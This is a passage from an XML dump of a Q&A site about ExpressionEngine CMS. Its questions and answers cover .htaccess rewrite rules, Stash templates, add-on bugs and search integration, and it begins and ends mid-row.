to check if a Freeform Pro form has any kind of error?" Tags="|solspace-freeform|solspace|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13664" PostTypeId="1" AcceptedAnswerId="13678" CreationDate="2013-09-11T10:11:34.733" Score="0" ViewCount="486" Body="&lt;p&gt;I have 2 sites running on different shared hosting servers with nexcess.net both with similar setups (same version of EE 2.6.1 and same add-ons) and both experiencing different issues which I'm begining to think are .htaccess related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the EE recomended .htaccess rule to remove the index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The index.php is being removed on both sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first site is having an issue with Assets (2.1.4) loading the sites home page in the assets modal window when I go to add file. It is causing the following error in the server log. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Request exceeded the limit of 10 internal redirects due to probable&#xA;  configuration error. Use 'LimitInternalRecursion' to increase the&#xA;  limit if necessary. Use 'LogLevel debug' to get a backtrace.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have double checked the file upload preferences (Standard file manager is working without issue). &#xA;File upload folders have permissions 0f 777. &#xA;EE Cache folder is 777.&#xA;I've tried adding $config['assets_site_url'] = '/index.php'; to config file&#xA;Php memory limit is set to 512mb in php.ini&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the second site Assets is running fine but the client is reporting that when editing channel entries EE is not saving the entry intermittently and just returning to the admin homepage.  Not sure if this is related but could possibly be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is most welcome.&lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2013-09-11T14:42:28.110" Title=".htaccess for nexcess shared hosting" Tags="|assets|pixelandtonic|.htaccess|hosting|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13665" PostTypeId="2" ParentId="13664" CreationDate="2013-09-11T10:21:32.337" Score="0" Body="&lt;p&gt;I've not tried on Nexcess but my goto htaccess is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddType video/ogg .ogv&#xA;AddType video/mp4 .mp4&#xA;AddType video/webm .webm&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;&#xA;# Looks for files and directories that do not exist&#xA;# and provide the segments to the index.php file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond $1 !^/index.php&#xA;RewriteCond $1 !.(css|js|png|jpe?g|gif|ico)$ [NC]&#xA;RewriteRule ^(.*)$ index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-09-11T10:21:32.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13666" PostTypeId="2" ParentId="13655" CreationDate="2013-09-11T10:36:08.703" Score="1" Body="&lt;p&gt;Those PHP features were deprecated long ago, EE core is certainly not using them. You may however run into issues with add-ons, especially on older sites running EE 2.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your up to date versions though you should be fine. I know a large number of EE sites are using PHP 5.4 these days with no issues.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-09-11T10:36:08.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13667" PostTypeId="2" ParentId="13662" CreationDate="2013-09-11T10:37:06.953" Score="1" Body="&lt;p&gt;Here is the approach i used for 2 levels. Id written my own plugin to generate required categories, so would work equally well with gw cats. I also cached the list for a day. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:stash:set_list name=&quot;cats_level1&quot; parse_tags=&quot;yes&quot; save=&quot;yes&quot; scope=&quot;site&quot; replace=&quot;yes&quot; refresh=&quot;{sn_stash_refresh}&quot; }&#xA;        {exp:my_plugin:get_cats level = &quot;1&quot;}&#xA;            {stash:cat1_name}{cat_name}{/stash:cat1_name}&#xA;            {stash:cat1_id}{cat_id}{/stash:cat1_id}&#xA;            {stash:cat1_url}{cat_url_title}{/stash:cat1_url}&#xA;            {stash:cat1_count}{cat_count}{/stash:cat1_count}&#xA;        {/exp:my_plugin:get_cats}&#xA;    {/exp:stash:set_list}&#xA;&#xA;    {exp:stash:get_list name = &quot;cats_level1&quot;}&#xA;        {exp:stash:set_list name=&quot;cats_level2_{cat1_id}&quot; parse_tags=&quot;yes&quot; save=&quot;yes&quot; scope=&quot;site&quot; replace=&quot;yes&quot; refresh=&quot;{sn_stash_refresh}&quot; }&#xA;            {exp:my_plugin:get_cats level = &quot;2&quot; parent = &quot;{cat1_id}&quot;}&#xA;                {stash:cat2_name}{cat_name}{/stash:cat2_name}&#xA;                {stash:cat2_url}{cat_url_title}{/stash:cat2_url}&#xA;                {stash:cat2_count}{cat_count}{/stash:cat2_count}&#xA;            {/exp:my_plugin:get_cats}&#xA;        {/exp:stash:set_list}&#xA;    {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could then loop through depth 3 (just like depth 2 above) and create your lists for each depth 2 category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And display like this. I used the params to divide the categories into columns. Three columns for desktop, two columns for mobile and tablets. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;params&quot; parse_conditionals = &quot;yes&quot;}&#xA;        {if ress == 3}&#xA;            {stash:param}limit = &quot;1/3&quot;{/stash:param}&#xA;            {stash:param}offset = &quot;1/3&quot;  limit = &quot;1/3&quot;{/stash:param}&#xA;            {stash:param}offset = &quot;2/3&quot;{/stash:param}&#xA;        {/if}&#xA;        {if ress &amp;lt; 3}&#xA;            {stash:param}limit = &quot;1/2&quot;{/stash:param}&#xA;            {stash:param}offset = &quot;1/2&quot;{/stash:param}&#xA;        {/if}&#xA;    {/exp:stash:set_list}&#xA;&#xA;  {exp:stash:get_list name = &quot;params&quot;}&#xA;  &amp;lt;div class=&quot;category_wrap&quot;&amp;gt;&#xA;                        {exp:stash:get_list:nested  name=&quot;cats_level1&quot; scope=&quot;site&quot; {params}}&#xA;                            &amp;lt;div class=&quot;item_wrap category_item rounded&quot;&amp;gt;&#xA;                                &amp;lt;a href=&quot;#&quot; class=&quot;toggle rounded_top_left&quot; cat_1=&quot;{cat1_id}&quot;&amp;gt;&amp;lt;h2 id=&quot;cat_{cat1_id}&quot;&amp;gt;{cat1_name} &amp;lt;span&amp;gt;({cat1_count})&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;div class=&quot;toggle_{cat1_id}&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;                                    &amp;lt;ul&amp;gt;&#xA;                                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='{segment_1}/category'}/{cat1_url}&quot;&amp;gt;All&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                        {exp:stash:get_list:nested:inner name=&quot;cats_level2_{cat1_id}&quot; scope=&quot;site&quot;}&#xA;                                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='{segment_1}/category'}/{cat2_url}&quot;&amp;gt;{cat2_name} ({cat2_count})&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                        {/exp:stash:get_list:nested:inner}&#xA;                                    &amp;lt;/ul&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        {/exp:stash:get_list:nested}&#xA;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your inner most get_list will look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list:nested:inner:innermost name=&quot;cats_level3_{cat2_id}&quot; scope=&quot;site&quot;}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='{segment_1}/category'}/{cat3_url}&quot;&amp;gt;{cat3_name} ({cat3_count})&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list:nested:inner:innermost}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorry for formatting, not so easy on ipad!&#xA;Hope that gives you an approach. Code copied from live and edited a little, but not tested.&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-09-11T11:03:31.610" LastActivityDate="2013-09-11T11:03:31.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13668" PostTypeId="1" AcceptedAnswerId="13669" CreationDate="2013-09-11T11:04:11.860" Score="3" ViewCount="48" Body="&lt;p&gt;I've upgraded to EE 2.7.0 from 2.5.5. I've now noticed a change in how form submissions are handled. In the past I could make a channel entry and then go back with the back button and save that entry again for a new post. This was very useful when making a lot of similar entries. However, this no longer works. If I go back after submitting an entry and then try resaving it, I am redirected to the CP home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an intended change and if so is there any way to get back the previous behaviour, via add-ons or settings?&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2013-09-11T12:20:46.313" Title="Changes to entry creation in 2.7.0?" Tags="|2.7.0|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13669" PostTypeId="2" ParentId="13668" CreationDate="2013-09-11T12:20:46.313" Score="5" Body="&lt;p&gt;This is the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/security_settings.html#process-form-data-in-secure-mode&quot;&gt;Secure Forms&lt;/a&gt; feature doing its job - it's been around for a long time, but perhaps it has gotten more strict as of late.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can disable it if it's really important to continue this workflow you've been using, but it will do so site-wide, and for front-end form submissions as well, just so you're aware.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-11T12:20:46.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13670" PostTypeId="1" AcceptedAnswerId="14173" CreationDate="2013-09-11T12:23:24.273" Score="2" ViewCount="565" Body="&lt;p&gt;Recently I’ve build a site with protected area. The template of this area is a single file that first check if a visitor in logged or not and that show entry basing on url segments (use a lot of if_segment tag).&#xA;The entries that is showing is only one and contains a very big Matrix field with images ad some other columns.&#xA;The site has installed Trascribe too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time this page is request it take about 16 sec to be ready… I haven’t any idea of the cause!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Debugging the page EE tells me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Loading Time: Base Classes   0.0143&#xA;Controller Execution Time ( Ee / Index )   19.0798&#xA;Total Execution Time   19.0944&#xA;&#xA;(0.319188 / 16.42MB) Calling Extension Class/Method: Transcribe_ext/transcribe_matrix_data_query&#xA;(5.559691 / 16.95MB) Calling Extension Class/Method: Transcribe_ext/transcribe_matrix_data_query &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2013-12-30T13:05:44.423" Title="Site response is very slow for some areas. Any suggestion to speed up ExpressionEngine?" Tags="|matrix|transcribe|speed|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13671" PostTypeId="1" AcceptedAnswerId="13697" CreationDate="2013-09-11T13:24:52.603" Score="0" ViewCount="86" Body="&lt;p&gt;Does anyone know if there has been changes to Google's Map API or some other things that would cause previously working Google Maps for EE plugin maps to being plotting/viewing correctly in the control panel (field type) but not on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No changes have been made to these installs since the beginning of the year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EXAMPLE ONE&lt;/strong&gt;&lt;br&gt;&#xA;Maps now have multiple locations points (should only have one) and no longer centre&lt;br&gt;&#xA;EE 2.5.3&lt;br&gt;&#xA;GMforEE 3.1.0&lt;br&gt;&#xA;&lt;a href=&quot;http://bit.ly/13LJq9Z&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/13LJq9Z&lt;/a&gt; (click the 'view' icon to review details and map)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EXAMPLE TWO&lt;/strong&gt;&lt;br&gt;&#xA;Maps now have multiple locations points (should only have one)&lt;br&gt;&#xA;EE 2.5.5&lt;br&gt;&#xA;GMforEE 3.2.1&lt;br&gt;&#xA;&lt;a href=&quot;http://bit.ly/1d5ztHh&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/1d5ztHh&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="313" LastActivityDate="2013-09-11T21:26:03.143" Title="Google Maps for EE Different on Front End to Back End" Tags="|plugin|google-maps-for-ee|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13672" PostTypeId="1" CreationDate="2013-09-11T13:51:43.977" Score="1" ViewCount="99" Body="&lt;p&gt;I built a custom module that has its own group of tables that holds the data, it uses mcp.module_name and mod.module_name for the back/frontend&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know if there is a hook or some api that allows for EE's native search to display results from my custom module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can write my own search feature for my module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is not possible, is there an add-on that allows for me to search for both channel entries and custom module entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked into low's search and solspace's, and their summary did not hint at that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated, thanks.&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2013-09-11T14:45:49.417" Title="possible for custom module entries to show up in search results" Tags="|add-on-development|search|low-search|supersearch|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13673" PostTypeId="2" ParentId="13648" CreationDate="2013-09-11T14:11:35.647" Score="1" Body="&lt;p&gt;Are you saying you are using the channel field for Freeform composer? If so, all you need to do is display it like any other field in channel entries output: {my_freeform_field_name}. The Composer template can be set in the upper left hand corner of Composer itself rather than needing it to be a param and your return can be pre-set in the composer template as an override param.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-09-11T14:11:35.647" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13674" PostTypeId="2" ParentId="13656" CreationDate="2013-09-11T14:22:45.283" Score="1" Body="&lt;p&gt;Looks like it might be an issue with the native jQuery module. Those files are in /system/expressionengine/modules/. Replace those to be sure something didn't get accidently deleted.  &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-09-11T14:22:45.283" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13675" PostTypeId="1" CreationDate="2013-09-11T14:23:13.493" Score="1" ViewCount="170" Body="&lt;p&gt;I have a channel (media) that has various custom fields, one a matrix field where you can post images to a gallery, I have already published 20 images to this gallery and everything worked as it should, now when I try to publish any more images it just won't work, no error message is given it just redirects to the CP homepage. Anyone ever came across this before??&lt;/p&gt;&#xA;" OwnerUserId="898" LastActivityDate="2013-09-12T19:28:57.420" Title="Unable to publish entry to channel" Tags="|matrix|pixelandtonic|publish-layout|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13676" PostTypeId="2" ParentId="13672" CreationDate="2013-09-11T14:30:14.480" Score="4" Body="&lt;p&gt;Short answer: Nope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slightly longer answer: native search, Super Search and Low Search all use the Channel module in some shape or form to display search results. Combining channel entries with other content types in a single tag is currently &lt;em&gt;very&lt;/em&gt; cumbersome, if not impossible. Basically, EE's current API simply isn't built for that sort of thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd have to look at some other form of searching if you want to mix content types in a single stream of entries. For example, a more output-focussed search, like Google site search.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-09-11T14:30:14.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13677" PostTypeId="2" ParentId="13671" CreationDate="2013-09-11T14:35:39.157" Score="-1" Body="&lt;p&gt;I think the answers can be found in your javascript - take a closer look, is there extra code on the front end you're loading in - or is it possible that the API is connecting to some default map you've got on Google?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You've got what seems to be extra js code regarding your map centering and zoom - and if you look closely at the code that draws the markers - it's loading the same locations on each site you linked to (see marker index 3 and 4). That seems to suggest you've either got some default/example code in there somewhere, or your maps are being tied to something else?&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-09-11T14:35:39.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13678" PostTypeId="2" ParentId="13664" CreationDate="2013-09-11T14:42:28.110" Score="0" Body="&lt;p&gt;Turns out the main index.php file got renamed. As you could guess this would cause a multitude of problems. With there being no front end templates at this early stage I incorrectly suspected the .htaccess was causing the problem with the paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the input Tyssen and Steven.&lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2013-09-11T14:42:28.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13679" PostTypeId="2" ParentId="13672" CreationDate="2013-09-11T14:45:49.417" Score="3" Body="&lt;p&gt;No, there's no hook, but depending on the amount of data you want included, you can get the data included in searches (be it native EE, Low Search or SolSpace search).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had the same issue with Expresso Store that the modifiers (colour/size) didn't appear in the search results - only SKUs were included by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to have some sort of fieldtype for this to work, then you save the data in there. In the example of Store, it holds all it's data in it's own table, and although there is a new column in the channel_data table (field_id_xx), it's not used by the module and doesn't appear when editing the entry. But what's key is that EE will use this column for searching purposes - so you can load whatever you like in there for the search results. So for Store, upon saving an entry in the backend, I parse through the store fields (price, modifier name, option name, etc), then include that raw data in the field. As mentioned, it's not used by Store on the frontend or backend, so no consequences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a fieldtype there's a method that can be added called &quot;&lt;a href=&quot;http://gotolow.com/addons/low-search/docs/api&quot; rel=&quot;nofollow&quot;&gt;third_party_search_index&lt;/a&gt;&quot; which allows you to load additional search data (so it's not stored in the channel_data table) for other search add-ons.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-09-11T14:45:49.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13680" PostTypeId="1" CreationDate="2013-09-11T15:03:45.037" Score="1" ViewCount="138" Body="&lt;p&gt;I'm using matrix extension to get the lowest value of a column in a search. The problem that I have is to sort results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results channel=&quot;my_channel&quot;}&#xA;&#xA;    {my_matrix_field:lowest col=&quot;column_name&quot;}&#xA;&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried using &lt;code&gt;orderby=&quot;column_name&quot;&lt;/code&gt; but it doesn't work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance…&lt;/p&gt;&#xA;" OwnerUserId="2038" LastEditorUserId="69" LastEditDate="2013-09-11T17:14:46.403" LastActivityDate="2013-10-12T20:57:54.593" Title="Help with sorting MATRIX values in Super Search results" Tags="|matrix|supersearch|sort|orderby|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13681" PostTypeId="2" ParentId="12963" CreationDate="2013-09-11T15:53:47.327" Score="0" Body="&lt;p&gt;After a couple of days I am having no more trouble. The issue resolved itself somehow, but I have a hunch that it had something to do with my hosting. If anyone else has this problem, contacting the host would be the next step I would take.&lt;/p&gt;&#xA;" OwnerUserId="899" LastActivityDate="2013-09-11T15:53:47.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13682" PostTypeId="2" ParentId="13632" CreationDate="2013-09-11T16:01:56.520" Score="0" Body="&lt;p&gt;You mention Wygwam which means an entry, not a template... can you confirm exactly where you are seeing this behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're doing this via the Control Panel - then can you try making those template updates via FTP?  I suspect that there is some server thing, similar to mod_security (or mod_security itself, though that is usually has different symptoms).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can make your template updates via FTP, then look at form submissions and server security for sure. You'll need to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/templates_as_files.html&quot; rel=&quot;nofollow&quot;&gt;save templates as files&lt;/a&gt; before you can try this.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-09-11T16:01:56.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13683" PostTypeId="1" AcceptedAnswerId="13691" CreationDate="2013-09-11T16:21:15.473" Score="1" ViewCount="91" Body="&lt;p&gt;I'm running into an odd issue with CartThrob's gift certificates that doesn't seem to be turning up any google results, so I'm hoping someone can help point out what I'm doing wrong or share if they've run into the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my shopping cart (and my checkout page, but they're both displaying the same chunk of code so we'll stick with this one) I have the following chunk of code showing order totals &amp;amp; associated information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:cart_info}&#xA;    &amp;lt;span class=&quot;label&quot;&amp;gt;Subtotal:&amp;lt;/span&amp;gt;&#xA;    &amp;lt;span class=&quot;amount&quot;&amp;gt;{cart_subtotal}&amp;lt;/span&amp;gt;&#xA;    {if &quot;{cart_shipping}&quot; != &quot;$0.00&quot;}&#xA;        &amp;lt;span class=&quot;label&quot;&amp;gt;Standard Shipping:&amp;lt;/span&amp;gt;&#xA;        &amp;lt;span class=&quot;amount&quot;&amp;gt;{cart_shipping}&amp;lt;/span&amp;gt;&#xA;    {/if}&#xA;    {if &quot;{cart_discount}&quot; != &quot;$0.00&quot;}&#xA;        &amp;lt;span class =&quot;label&quot;&amp;gt;Discounts:&amp;lt;/span&amp;gt;&#xA;        &amp;lt;span class=&quot;amount&quot;&amp;gt;-{cart_discount}&amp;lt;/span&amp;gt;&#xA;    {/if}&#xA;    {if &quot;{exp:cartthrob_gift_certificates:applied}&quot; != &quot;$0.00&quot;}&#xA;        &amp;lt;span class=&quot;label&quot;&amp;gt;Gift Certificates:&amp;lt;/span&amp;gt;&#xA;        &amp;lt;span class=&quot;amount&quot;&amp;gt;-{exp:cartthrob_gift_certificates:applied}&amp;lt;/span&amp;gt;&#xA;    {/if}&#xA;    {if &quot;{cart_tax}&quot; != &quot;$0.00&quot;}&#xA;        &amp;lt;span class =&quot;label&quot;&amp;gt;Estimated Tax:&amp;lt;/span&amp;gt;&#xA;        &amp;lt;span class=&quot;amount&quot;&amp;gt;{cart_tax}&amp;lt;/span&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;span class =&quot;label total&quot;&amp;gt;Total:&amp;lt;/span&amp;gt;&#xA;    &amp;lt;span class=&quot;amount total&quot;&amp;gt;{exp:cartthrob_gift_certificates:cart_total_minus_gift_certificates}&amp;lt;/span&amp;gt;&#xA;{/exp:cartthrob:cart_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For my example cart, which has no tax and no discounts, and for which I have not applied a gift certificate (No gift certificates have been applied in this session at all), I see the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cl.ly/image/060u1n182I2D&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/060u1n182I2D&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Subtotal:&#xA;  $5.00&#xA;  Standard Shipping:&#xA;  $6.00&#xA;  Gift Certificates:&#xA;  -$2.00&#xA;  Total:&#xA;  $11.00&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which shows the correct subtotal, shipping and total, but shows a phantom $2 discount that's not actually applied to the total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen anything like this happen with CT gift certificates?  Any thoughts about how to fix the issue?  It seems like the total behavior is correct (no gift certificate applied) but the number output by cartthrob_gift_certificates:applied is incorrect.&lt;/p&gt;&#xA;" OwnerUserId="364" LastEditorUserId="28" LastEditDate="2013-09-11T18:29:31.710" LastActivityDate="2013-09-11T18:56:55.997" Title="CartThrob 'Gift Certificates Applied' Shows Wrong Amount" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13684" PostTypeId="1" CreationDate="2013-09-11T16:31:42.363" Score="0" ViewCount="135" Body="&lt;p&gt;I've got one clusterf*** of a problem here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 sets of &lt;a href=&quot;http://devot-ee.com/add-ons/ce-cache&quot; rel=&quot;nofollow&quot;&gt;CE Cache&lt;/a&gt; &lt;code&gt;:escape&lt;/code&gt; tags in my site's global header snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_cache:escape}&#xA;  {if '{exp:cartthrob:unique_items_count}' &amp;gt; '0'}&#xA;    &amp;lt;span class=&quot;items&quot;&amp;gt;{exp:cartthrob:unique_items_count}&amp;lt;/span&amp;gt;&#xA;  {/if}&#xA;{/exp:ce_cache:escape}&#xA;&#xA;{exp:ce_cache:escape}&#xA;  {if logged_out}&#xA;    &amp;lt;a href=&quot;{path='member/login'}&quot; class=&quot;login&quot; data-reveal-id=&quot;login-modal&quot;&amp;gt;Login&amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;{path='member/register'}&quot; class=&quot;sign-up&quot; data-reveal-id=&quot;register-modal&quot;&amp;gt;Sign Up Free&amp;lt;/a&amp;gt;&#xA;  {if:else}&#xA;    &amp;lt;p class=&quot;logged-in&quot;&amp;gt;&amp;lt;span&amp;gt;Hi {exp:user:stats}{if first_name}{first_name}{if:elseif screen_name}{screen_name}{/if}{/exp:user:stats}&amp;lt;/span&amp;gt; | &amp;lt;a href=&quot;{path='my-account'}&quot;{if segment_1 == 'my-account'} class=&quot;here&quot;{/if}&amp;gt;My Account&amp;lt;/a&amp;gt; | &amp;lt;a href=&quot;{path='logout'}&quot;&amp;gt;Logout&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;{/exp:ce_cache:escape}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That global header snippet is inside a &lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow&quot;&gt;Custom System Messages&lt;/a&gt; error template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed='_global/document_head' page_title='{title}'}&#xA;&amp;lt;body class=&quot;single&quot;&amp;gt;&#xA;{header}&#xA;&#xA;&amp;lt;article class=&quot;bizness&quot;&amp;gt;&#xA;    &amp;lt;header&amp;gt;&#xA;        &amp;lt;h1&amp;gt;{heading}&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/header&amp;gt;&#xA;    {content}&#xA;&amp;lt;/article&amp;gt;&#xA;&#xA;{footer}&#xA;{global_scripts}&#xA;{document_foot}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, for 99% of error messages, this setup works beautifully, no issues. But if I submit a bogus email on a &lt;a href=&quot;http://devot-ee.com/add-ons/securitee&quot; rel=&quot;nofollow&quot;&gt;Securit:ee&lt;/a&gt; forgot password form, the CE Cache &lt;code&gt;:escape&lt;/code&gt; tags return this text:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-ce_cache_placeholder:94ec4f506cc81e96bf9b33205449ad19&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;-ce_cache_placeholder:a612a2267145a9d4684fdffde5442c62&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't even know where to start, people. Why is this one error different from the rest, and how can I fix those CE Cache errors?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.6.1 &lt;/li&gt;&#xA;&lt;li&gt;CE Cache 1.9.5 &lt;/li&gt;&#xA;&lt;li&gt;Custom System Messages 2.5 &lt;/li&gt;&#xA;&lt;li&gt;Securit:ee 1.3.6&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-09-11T16:31:42.363" Title="CE Cache :escape Parsing on Custom System Messages Securit:ee Error" Tags="|ce-cache|custom-system-messages|" 